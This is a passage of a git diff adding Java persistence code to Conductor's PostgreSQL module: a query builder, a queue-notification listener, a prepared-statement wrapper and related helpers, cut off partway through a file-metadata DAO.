+ } + + /** + * Rows indexed before the classifier column existed have a NULL classifier but are + * semantically untagged, i.e. plain workflows. When a filter asks for the untagged token + * ({@link WorkflowClassifier#WORKFLOW}), widen the predicate to also match those legacy + * NULL rows. + */ + private boolean classifierMatchesUntagged() { + return "classifier".equals(attribute) + && values != null + && values.stream().anyMatch(WorkflowClassifier.WORKFLOW::equalsIgnoreCase); + } + + private String getOperator(String op) { + if (op.equals("IN") && values.size() == 1) { + return "="; + } + return op; + } + + public void addParameter(Query q) throws SQLException { + if (values.size() > 1) { + q.addParameter(values); + } else { + String val = values.get(0); + if (val.contains("*")) { + val = val.replace("*", "%"); + } + q.addParameter(val); + } + } + + private String millisToUtc(String millis) { + Long startTimeMilli = Long.parseLong(millis); + ZonedDateTime startDate = + ZonedDateTime.ofInstant(Instant.ofEpochMilli(startTimeMilli), ZoneOffset.UTC); + return DateTimeFormatter.ISO_DATE_TIME.format(startDate); + } + + private boolean isValid() { + return Arrays.asList(VALID_FIELDS).contains(attribute); + } + + public void setAttribute(String attribute) { + this.attribute = attribute; + } + + public void setOperator(String operator) { + this.operator = operator; + } + + public void setValues(List values) { + this.values = values; + } + } + + public PostgresIndexQueryBuilder( + String table, + String query, + String freeText, + int start, + int count, + List sort, + PostgresProperties properties) { + this.table = table; + this.freeText = freeText; + this.start = start; + this.count = count; + this.sort = sort; + this.allowFullTextQueries = properties.getAllowFullTextQueries(); + this.allowJsonQueries = properties.getAllowJsonQueries(); + this.parseQuery(query); + this.parseFreeText(freeText); + } + + public String getQuery() { + String queryString = ""; + List validConditions = + conditions.stream().filter(c -> c.isValid()).collect(Collectors.toList()); + if (validConditions.size() > 0) { + queryString = + " WHERE " + + String.join( + " AND ", + validConditions.stream() + .map(c -> c.getQueryFragment()) + .collect(Collectors.toList())); + } + return "SELECT json_data::TEXT FROM " + + table + + queryString + + getSort() + + " LIMIT ? OFFSET ?"; + } + + public String getCountQuery() { + String queryString = ""; + List validConditions = + conditions.stream().filter(c -> c.isValid()).collect(Collectors.toList()); + if (validConditions.size() > 0) { + queryString = + " WHERE " + + String.join( + " AND ", + validConditions.stream() + .map(c -> c.getQueryFragment()) + .collect(Collectors.toList())); + } + return "SELECT COUNT(json_data) FROM " + table + queryString; + } + + public void addParameters(Query q) throws SQLException { + for (Condition condition : conditions) { + condition.addParameter(q); + } + } + + public void addPagingParameters(Query q) throws SQLException { + q.addParameter(count); + q.addParameter(start); + } + + private void parseQuery(String query) { + if (!StringUtils.isEmpty(query)) { + for (String s : query.split(" AND ")) { + conditions.add(new Condition(s)); + } + Collections.sort(conditions, Comparator.comparing(Condition::getQueryFragment)); + } + } + + private void parseFreeText(String freeText) { + if (!StringUtils.isEmpty(freeText) && !freeText.equals("*")) { + if (allowJsonQueries && freeText.startsWith("{") && freeText.endsWith("}")) { + Condition cond = new Condition(); + cond.setAttribute("json_data"); + cond.setOperator("@>"); + String[] values = {freeText}; + cond.setValues(Arrays.asList(values)); + conditions.add(cond); + } else if (allowFullTextQueries) { + Condition cond = new Condition(); + cond.setAttribute("jsonb_to_tsvector('english', json_data, '[\"all\"]')"); + cond.setOperator("@@"); + String[] values = {freeText}; + cond.setValues(Arrays.asList(values)); + conditions.add(cond); + } + } + } + + private String getSort() { + ArrayList sortConds = new ArrayList<>(); + for (String s : sort) { + String[] splitCond = s.split(":"); + if (splitCond.length == 2) { + String attribute = camelToSnake(splitCond[0]); + String order = splitCond[1].toUpperCase(); + if (Arrays.asList(VALID_FIELDS).contains(attribute) + && Arrays.asList(VALID_SORT_ORDER).contains(order)) { + sortConds.add(attribute + " " + order); + } + } + } + + if (sortConds.size() > 0) { + return " ORDER BY " + String.join(", ", sortConds); + } + return ""; + } + + private static String camelToSnake(String camel) { + return camel.replaceAll("\\B([A-Z])", "_$1").toLowerCase(); + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/PostgresQueueListener.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/PostgresQueueListener.java new file mode 100644 index 0000000..e0a99be --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/PostgresQueueListener.java @@ -0,0 +1,230 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +import java.sql.Connection; +import java.sql.SQLException; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Optional; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; + +import javax.sql.DataSource; + +import org.postgresql.PGConnection; +import org.postgresql.PGNotification; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.postgres.config.PostgresProperties; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class PostgresQueueListener { + + private PGConnection pgconn; + + private volatile Connection conn; + + private final Lock connectionLock = new ReentrantLock(); + + private DataSource dataSource; + + private HashMap queues; + + private volatile boolean connected = false; + + private long lastNotificationTime = 0; + + private Integer stalePeriod; + + protected final Logger logger = LoggerFactory.getLogger(getClass()); + + public PostgresQueueListener(DataSource dataSource, PostgresProperties properties) { + logger.info("Using experimental PostgresQueueListener"); + this.dataSource = dataSource; + this.stalePeriod = properties.getExperimentalQueueNotifyStalePeriod(); + connect(); + } + + public boolean hasMessagesReady(String queueName) { + checkUpToDate(); + handleNotifications(); + if (notificationIsStale() || !connected) { + connect(); + return true; + } + + QueueStats queueStats = queues.get(queueName); + if (queueStats == null) { + return false; + } + + if (queueStats.getNextDelivery() > System.currentTimeMillis()) { + return false; + } + + return true; + } + + public Optional getSize(String queueName) { + checkUpToDate(); + handleNotifications(); + if (notificationIsStale() || !connected) { + connect(); + return Optional.empty(); + } + + QueueStats queueStats = queues.get(queueName); + if (queueStats == null) { + return Optional.of(0); + } + + return Optional.of(queueStats.getDepth()); + } + + private boolean notificationIsStale() { + return System.currentTimeMillis() - lastNotificationTime > this.stalePeriod; + } + + private void connect() { + // Attempt to acquire the lock without waiting. + if (!connectionLock.tryLock()) { + // If the lock is not available, return early. + return; + } + + boolean newConnectedState = false; + + try { + // Check if the connection is null or not valid. + if (conn == null || !conn.isValid(1)) { + // Close the old connection if it exists and is not valid. + if (conn != null) { + try { + conn.close(); + } catch (Exception e) { + logger.error(e.getMessage(), e); + } + } + + // Establish a new connection. + try { + this.conn = dataSource.getConnection(); + this.pgconn = conn.unwrap(PGConnection.class); + + boolean previousAutoCommitMode = conn.getAutoCommit(); + conn.setAutoCommit(true); + try { + conn.prepareStatement("LISTEN conductor_queue_state").execute(); + newConnectedState = true; + } catch (Throwable th) { + conn.rollback(); + logger.error(th.getMessage()); + } finally { + conn.setAutoCommit(previousAutoCommitMode); + } + requestStats(); + } catch (SQLException e) { + throw new NonTransientException(e.getMessage(), e); + } + } + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } finally { + connected = newConnectedState; + // Ensure the lock is always released. + connectionLock.unlock(); + } + } + + private void requestStats() { + try { + boolean previousAutoCommitMode = conn.getAutoCommit(); + conn.setAutoCommit(true); + try { + conn.prepareStatement("SELECT queue_notify()").execute(); + connected = true; + } catch (Throwable th) { + conn.rollback(); + logger.error(th.getMessage()); + } finally { + conn.setAutoCommit(previousAutoCommitMode); + } + } catch (SQLException e) { + if (!isSQLExceptionConnectionDoesNotExists(e)) { + logger.error("Error fetching notifications {}", e.getSQLState()); + } + connect(); + } + } + + private void checkUpToDate() { + if (System.currentTimeMillis() - lastNotificationTime > this.stalePeriod * 0.75) { + requestStats(); + } + } + + private void handleNotifications() { + try { + PGNotification[] notifications = pgconn.getNotifications(); + if (notifications == null || notifications.length == 0) { + return; + } + processPayload(notifications[notifications.length - 1].getParameter()); + } catch (SQLException e) { + if (!isSQLExceptionConnectionDoesNotExists(e)) { + logger.error("Error fetching notifications {}", e.getSQLState()); + } + connect(); + } + } + + private void processPayload(String payload) { + ObjectMapper objectMapper = new ObjectMapper(); + try { + JsonNode notification = objectMapper.readTree(payload); + JsonNode lastNotificationTime = notification.get("__now__"); + if (lastNotificationTime != null) { + this.lastNotificationTime = lastNotificationTime.asLong(); + } + Iterator iterator = notification.fieldNames(); + + HashMap queueStats = new HashMap<>(); + iterator.forEachRemaining( + key -> { + if (!key.equals("__now__")) { + try { + QueueStats stats = + objectMapper.treeToValue( + notification.get(key), QueueStats.class); + queueStats.put(key, stats); + } catch (JsonProcessingException e) { + throw new RuntimeException(e); + } + } + }); + this.queues = queueStats; + } catch (JsonProcessingException e) { + throw new RuntimeException(e); + } + } + + private static boolean isSQLExceptionConnectionDoesNotExists(SQLException e) { + return "08003".equals(e.getSQLState()); + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/Query.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/Query.java new file mode 100644 index 0000000..ece5d65 --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/Query.java @@ -0,0 +1,655 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +import java.io.IOException; +import java.sql.*; +import java.sql.Date; +import java.util.*; +import java.util.concurrent.atomic.AtomicInteger; + +import org.apache.commons.lang3.math.NumberUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.exception.NonTransientException; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Represents a {@link PreparedStatement} that is wrapped with convenience methods and utilities. + * + *

    This class simulates a parameter building pattern and all {@literal addParameter(*)} methods + * must be called in the proper order of their expected binding sequence. + * + * @author mustafa + */ +public class Query implements AutoCloseable { + + private final Logger logger = LoggerFactory.getLogger(getClass()); + + /** The {@link ObjectMapper} instance to use for serializing/deserializing JSON. */ + protected final ObjectMapper objectMapper; + + /** The initial supplied query String that was used to prepare {@link #statement}. */ + private final String rawQuery; + + /** + * Parameter index for the {@code ResultSet#set*(*)} methods, gets incremented every time a + * parameter is added to the {@code PreparedStatement} {@link #statement}. + */ + private final AtomicInteger index = new AtomicInteger(1); + + /** The {@link PreparedStatement} that will be managed and executed by this class. */ + private final PreparedStatement statement; + + private final Connection connection; + + public Query(ObjectMapper objectMapper, Connection connection, String query) { + this.rawQuery = query; + this.objectMapper = objectMapper; + this.connection = connection; + + try { + this.statement = connection.prepareStatement(query); + } catch (SQLException ex) { + throw new NonTransientException( + "Cannot prepare statement for query: " + ex.getMessage(), ex); + } + } + + /** + * Generate a String with {@literal count} number of '?' placeholders for {@link + * PreparedStatement} queries. + * + * @param count The number of '?' chars to generate. + * @return a comma delimited string of {@literal count} '?' binding placeholders. + */ + public static String generateInBindings(int count) { + String[] questions = new String[count]; + for (int i = 0; i < count; i++) { + questions[i] = "?"; + } + + return String.join(", ", questions); + } + + public Query addParameter(final String value) { + return addParameterInternal((ps, idx) -> ps.setString(idx, value)); + } + + public Query addParameter(final List value) throws SQLException { + String[] valueStringArray = value.toArray(new String[0]); + Array valueArray = this.connection.createArrayOf("VARCHAR", valueStringArray); + return addParameterInternal((ps, idx) -> ps.setArray(idx, valueArray)); + } + + public Query addParameter(final int value) { + return addParameterInternal((ps, idx) -> ps.setInt(idx, value)); + } + + public Query addParameter(final boolean value) { + return addParameterInternal(((ps, idx) -> ps.setBoolean(idx, value))); + } + + public Query addParameter(final long value) { + return addParameterInternal((ps, idx) -> ps.setLong(idx, value)); + } + + public Query addParameter(final Long value) { + if (value == null) { + return addParameterInternal((ps, idx) -> ps.setNull(idx, Types.BIGINT)); + } + return addParameterInternal((ps, idx) -> ps.setLong(idx, value)); + } + + public Query addParameter(final double value) { + return addParameterInternal((ps, idx) -> ps.setDouble(idx, value)); + } + + public Query addParameter(Date date) { + return addParameterInternal((ps, idx) -> ps.setDate(idx, date)); + } + + public Query addParameter(Timestamp timestamp) { + return addParameterInternal((ps, idx) -> ps.setTimestamp(idx, timestamp)); + } + + /** + * Serializes {@literal value} to a JSON string for persistence. + * + * @param value The value to serialize. + * @return {@literal this} + */ + public Query addJsonParameter(Object value) { + return addParameter(toJson(value)); + } + + /** + * Bind the given {@link java.util.Date} to the PreparedStatement as a {@link Date}. + * + * @param date The {@literal java.util.Date} to bind. + * @return {@literal this} + */ + public Query addDateParameter(java.util.Date date) { + return addParameter(new Date(date.getTime())); + } + + /** + * Bind the given {@link java.util.Date} to the PreparedStatement as a {@link Timestamp}. + * + * @param date The {@literal java.util.Date} to bind. + * @return {@literal this} + */ + public Query addTimestampParameter(java.util.Date date) { + return addParameter(new Timestamp(date.getTime())); + } + + /** + * Bind the given epoch millis to the PreparedStatement as a {@link Timestamp}. + * + * @param epochMillis The epoch ms to create a new {@literal Timestamp} from. + * @return {@literal this} + */ + public Query addTimestampParameter(long epochMillis) { + return addParameter(new Timestamp(epochMillis)); + } + + /** + * Add a collection of primitive values at once, in the order of the collection. + * + * @param values The values to bind to the prepared statement. + * @return {@literal this} + * @throws IllegalArgumentException If a non-primitive/unsupported type is encountered in the + * collection. + * @see #addParameters(Object...) + */ + public Query addParameters(Collection values) { + return addParameters(values.toArray()); + } + + /** + * Add many primitive values at once. + * + * @param values The values to bind to the prepared statement. + * @return {@literal this} + * @throws IllegalArgumentException If a non-primitive/unsupported type is encountered. + */ + public Query addParameters(Object... values) { + for (Object v : values) { + if (v instanceof String) { + addParameter((String) v); + } else if (v instanceof Integer) { + addParameter((Integer) v); + } else if (v instanceof Long) { + addParameter((Long) v); + } else if (v instanceof Double) { + addParameter((Double) v); + } else if (v instanceof Boolean) { + addParameter((Boolean) v); + } else if (v instanceof Date) { + addParameter((Date) v); + } else if (v instanceof Timestamp) { + addParameter((Timestamp) v); + } else { + throw new IllegalArgumentException( + "Type " + + v.getClass().getName() + + " is not supported by automatic property assignment"); + } + } + + return this; + } + + /** + * Utility method for evaluating the prepared statement as a query to check the existence of a + * record using a numeric count or boolean return value. + * + *

    The {@link #rawQuery} provided must result in a {@link Number} or {@link Boolean} result. + * + * @return {@literal true} If a count query returned more than 0 or an exists query returns + * {@literal true}. + * @throws NonTransientException If an unexpected return type cannot be evaluated to a {@code + * Boolean} result. + */ + public boolean exists() { + Object val = executeScalar(); + if (null == val) { + return false; + } + + if (val instanceof Number) { + return convertLong(val) > 0; + } + + if (val instanceof Boolean) { + return (Boolean) val; + } + + if (val instanceof String) { + return convertBoolean(val); + } + + throw new NonTransientException( + "Expected a Numeric or Boolean scalar return value from the query, received " + + val.getClass().getName()); + } + + /** + * Convenience method for executing delete statements. + * + * @return {@literal true} if the statement affected 1 or more rows. + * @see #executeUpdate() + */ + public boolean executeDelete() { + int count = executeUpdate(); + if (count > 1) { + logger.trace("Removed {} row(s) for query {}", count, rawQuery); + } + + return count > 0; + } + + /** + * Convenience method for executing statements that return a single numeric value, typically + * {@literal SELECT COUNT...} style queries. + * + * @return The result of the query as a {@literal long}. + */ + public long executeCount() { + return executeScalar(Long.class); + } + + /** + * @return The result of {@link PreparedStatement#executeUpdate()} + */ + public int executeUpdate() { + try { + + Long start = null; + if (logger.isTraceEnabled()) { + start = System.currentTimeMillis(); + } + + final int val = this.statement.executeUpdate(); + + if (null != start && logger.isTraceEnabled()) { + long end = System.currentTimeMillis(); + logger.trace("[{}ms] {}: {}", (end - start), val, rawQuery); + } + + return val; + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute a query from the PreparedStatement and return the ResultSet. + * + *

    NOTE: The returned ResultSet must be closed/managed by the calling methods. + * + * @return {@link PreparedStatement#executeQuery()} + * @throws NonTransientException If any SQL errors occur. + */ + public ResultSet executeQuery() { + Long start = null; + if (logger.isTraceEnabled()) { + start = System.currentTimeMillis(); + } + + try { + return this.statement.executeQuery(); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } finally { + if (null != start && logger.isTraceEnabled()) { + long end = System.currentTimeMillis(); + logger.trace("[{}ms] {}", (end - start), rawQuery); + } + } + } + + /** + * @return The single result of the query as an Object. + */ + public Object executeScalar() { + try (ResultSet rs = executeQuery()) { + if (!rs.next()) { + return null; + } + return rs.getObject(1); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the PreparedStatement and return a single 'primitive' value from the ResultSet. + * + * @param returnType The type to return. + * @param The type parameter to return a List of. + * @return A single result from the execution of the statement, as a type of {@literal + * returnType}. + * @throws NonTransientException {@literal returnType} is unsupported, cannot be cast to from + * the result, or any SQL errors occur. + */ + public V executeScalar(Class returnType) { + try (ResultSet rs = executeQuery()) { + if (!rs.next()) { + Object value = null; + if (Integer.class == returnType) { + value = 0; + } else if (Long.class == returnType) { + value = 0L; + } else if (Boolean.class == returnType) { + value = false; + } + return returnType.cast(value); + } else { + return getScalarFromResultSet(rs, returnType); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the PreparedStatement and return a List of 'primitive' values from the ResultSet. + * + * @param returnType The type Class return a List of. + * @param The type parameter to return a List of. + * @return A {@code List}. + * @throws NonTransientException {@literal returnType} is unsupported, cannot be cast to from + * the result, or any SQL errors occur. + */ + public List executeScalarList(Class returnType) { + try (ResultSet rs = executeQuery()) { + List values = new ArrayList<>(); + while (rs.next()) { + values.add(getScalarFromResultSet(rs, returnType)); + } + return values; + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the statement and return only the first record from the result set. + * + * @param returnType The Class to return. + * @param The type parameter. + * @return An instance of {@literal } from the result set. + */ + public V executeAndFetchFirst(Class returnType) { + Object o = executeScalar(); + if (null == o) { + return null; + } + return convert(o, returnType); + } + + /** + * Execute the PreparedStatement and return a List of {@literal returnType} values from the + * ResultSet. + * + * @param returnType The type Class return a List of. + * @param The type parameter to return a List of. + * @return A {@code List}. + * @throws NonTransientException {@literal returnType} is unsupported, cannot be cast to from + * the result, or any SQL errors occur. + */ + public List executeAndFetch(Class returnType) { + try (ResultSet rs = executeQuery()) { + List list = new ArrayList<>(); + while (rs.next()) { + list.add(convert(rs.getObject(1), returnType)); + } + return list; + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the PreparedStatement and return a List of {@literal Map} values from the ResultSet. + * + * @return A {@code List}. + * @throws SQLException if any SQL errors occur. + * @throws NonTransientException if any SQL errors occur. + */ + public List> executeAndFetchMap() { + try (ResultSet rs = executeQuery()) { + List> result = new ArrayList<>(); + ResultSetMetaData metadata = rs.getMetaData(); + int columnCount = metadata.getColumnCount(); + while (rs.next()) { + HashMap row = new HashMap<>(); + for (int i = 1; i <= columnCount; i++) { + row.put(metadata.getColumnLabel(i), rs.getObject(i)); + } + result.add(row); + } + return result; + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the query and pass the {@link ResultSet} to the given handler. + * + * @param handler The {@link ResultSetHandler} to execute. + * @param The return type of this method. + * @return The results of {@link ResultSetHandler#apply(ResultSet)}. + */ + public V executeAndFetch(ResultSetHandler handler) { + try (ResultSet rs = executeQuery()) { + return handler.apply(rs); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + @Override + public void close() { + try { + if (null != statement && !statement.isClosed()) { + statement.close(); + } + } catch (SQLException ex) { + logger.warn("Error closing prepared statement: {}", ex.getMessage()); + } + } + + protected final Query addParameterInternal(InternalParameterSetter setter) { + int index = getAndIncrementIndex(); + try { + setter.apply(this.statement, index); + return this; + } catch (SQLException ex) { + throw new NonTransientException("Could not apply bind parameter at index " + index, ex); + } + } + + protected V getScalarFromResultSet(ResultSet rs, Class returnType) throws SQLException { + Object value = null; + + if (Integer.class == returnType) { + value = rs.getInt(1); + } else if (Long.class == returnType) { + value = rs.getLong(1); + } else if (String.class == returnType) { + value = rs.getString(1); + } else if (Boolean.class == returnType) { + value = rs.getBoolean(1); + } else if (Double.class == returnType) { + value = rs.getDouble(1); + } else if (Date.class == returnType) { + value = rs.getDate(1); + } else if (Timestamp.class == returnType) { + value = rs.getTimestamp(1); + } else { + value = rs.getObject(1); + } + + if (null == value) { + throw new NullPointerException( + "Cannot get value from ResultSet of type " + returnType.getName()); + } + + return returnType.cast(value); + } + + protected V convert(Object value, Class returnType) { + if (Boolean.class == returnType) { + return returnType.cast(convertBoolean(value)); + } else if (Integer.class == returnType) { + return returnType.cast(convertInt(value)); + } else if (Long.class == returnType) { + return returnType.cast(convertLong(value)); + } else if (Double.class == returnType) { + return returnType.cast(convertDouble(value)); + } else if (String.class == returnType) { + return returnType.cast(convertString(value)); + } else if (value instanceof String) { + return fromJson((String) value, returnType); + } + + final String vName = value.getClass().getName(); + final String rName = returnType.getName(); + throw new NonTransientException("Cannot convert type " + vName + " to " + rName); + } + + protected Integer convertInt(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Integer) { + return (Integer) value; + } + + if (value instanceof Number) { + return ((Number) value).intValue(); + } + + return NumberUtils.toInt(value.toString()); + } + + protected Double convertDouble(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Double) { + return (Double) value; + } + + if (value instanceof Number) { + return ((Number) value).doubleValue(); + } + + return NumberUtils.toDouble(value.toString()); + } + + protected Long convertLong(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Long) { + return (Long) value; + } + + if (value instanceof Number) { + return ((Number) value).longValue(); + } + return NumberUtils.toLong(value.toString()); + } + + protected String convertString(Object value) { + if (null == value) { + return null; + } + + if (value instanceof String) { + return (String) value; + } + + return value.toString().trim(); + } + + protected Boolean convertBoolean(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Boolean) { + return (Boolean) value; + } + + if (value instanceof Number) { + return ((Number) value).intValue() != 0; + } + + String text = value.toString().trim(); + return "Y".equalsIgnoreCase(text) + || "YES".equalsIgnoreCase(text) + || "TRUE".equalsIgnoreCase(text) + || "T".equalsIgnoreCase(text) + || "1".equalsIgnoreCase(text); + } + + protected String toJson(Object value) { + if (null == value) { + return null; + } + + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + protected V fromJson(String value, Class returnType) { + if (null == value) { + return null; + } + + try { + return objectMapper.readValue(value, returnType); + } catch (IOException ex) { + throw new NonTransientException( + "Could not convert JSON '" + value + "' to " + returnType.getName(), ex); + } + } + + protected final int getIndex() { + return index.get(); + } + + protected final int getAndIncrementIndex() { + return index.getAndIncrement(); + } + + @FunctionalInterface + private interface InternalParameterSetter { + + void apply(PreparedStatement ps, int idx) throws SQLException; + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/QueryFunction.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/QueryFunction.java new file mode 100644 index 0000000..d32107b --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/QueryFunction.java @@ -0,0 +1,26 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +import java.sql.SQLException; + +/** + * Functional interface for {@link Query} executions that return results. + * + * @author mustafa + */ +@FunctionalInterface +public interface QueryFunction { + + R apply(Query query) throws SQLException; +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/QueueStats.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/QueueStats.java new file mode 100644 index 0000000..6cbb9ce --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/QueueStats.java @@ -0,0 +1,39 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +public class QueueStats { + private Integer depth; + + private long nextDelivery; + + public void setDepth(Integer depth) { + this.depth = depth; + } + + public Integer getDepth() { + return depth; + } + + public void setNextDelivery(long nextDelivery) { + this.nextDelivery = nextDelivery; + } + + public long getNextDelivery() { + return nextDelivery; + } + + public String toString() { + return "{nextDelivery: " + nextDelivery + " depth: " + depth + "}"; + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ResultSetHandler.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ResultSetHandler.java new file mode 100644 index 0000000..2e45806 --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ResultSetHandler.java @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +import java.sql.ResultSet; +import java.sql.SQLException; + +/** + * Functional interface for {@link Query#executeAndFetch(ResultSetHandler)}. + * + * @author mustafa + */ +@FunctionalInterface +public interface ResultSetHandler { + + R apply(ResultSet resultSet) throws SQLException; +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/TransactionalFunction.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/TransactionalFunction.java new file mode 100644 index 0000000..45b94a0 --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/TransactionalFunction.java @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +import java.sql.Connection; +import java.sql.SQLException; + +/** + * Functional interface for operations within a transactional context. + * + * @author mustafa + */ +@FunctionalInterface +public interface TransactionalFunction { + + R apply(Connection tx) throws SQLException; +} diff --git a/postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresFileMetadataDAO.java b/postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresFileMetadataDAO.java new file mode 100644 index 0000000..3852bad --- /dev/null +++ b/postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresFileMetadataDAO.java @@ -0,0 +1,153 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.postgres.dao; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Timestamp; +import java.util.ArrayList; +import java.util.List; + +import javax.sql.DataSource; + +import org.conductoross.conductor.dao.FileMetadataDAO; +import org.conductoross.conductor.model.FileModel; +import org.conductoross.conductor.model.file.FileUploadStatus; +import org.conductoross.conductor.model.file.StorageType; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.postgres.dao.PostgresBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** PostgreSQL {@link FileMetadataDAO} — table {@code file_metadata}. */ +public class PostgresFileMetadataDAO extends PostgresBaseDAO implements FileMetadataDAO { + + private static final String INSERT_FILE = + "INSERT INTO file_metadata (file_id, file_name, content_type, " + + "storage_type, storage_path, upload_status, workflow_id, task_id, " + + "created_at, updated_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"; + + private static final String SELECT_BY_ID = "SELECT * FROM file_metadata WHERE file_id = ?"; + + private static final String UPDATE_STATUS = + "UPDATE file_metadata SET upload_status = ?, updated_at = CURRENT_TIMESTAMP " + + "WHERE file_id = ?"; + + private static final String UPDATE_UPLOAD_COMPLETE = + "UPDATE file_metadata SET upload_status = ?, 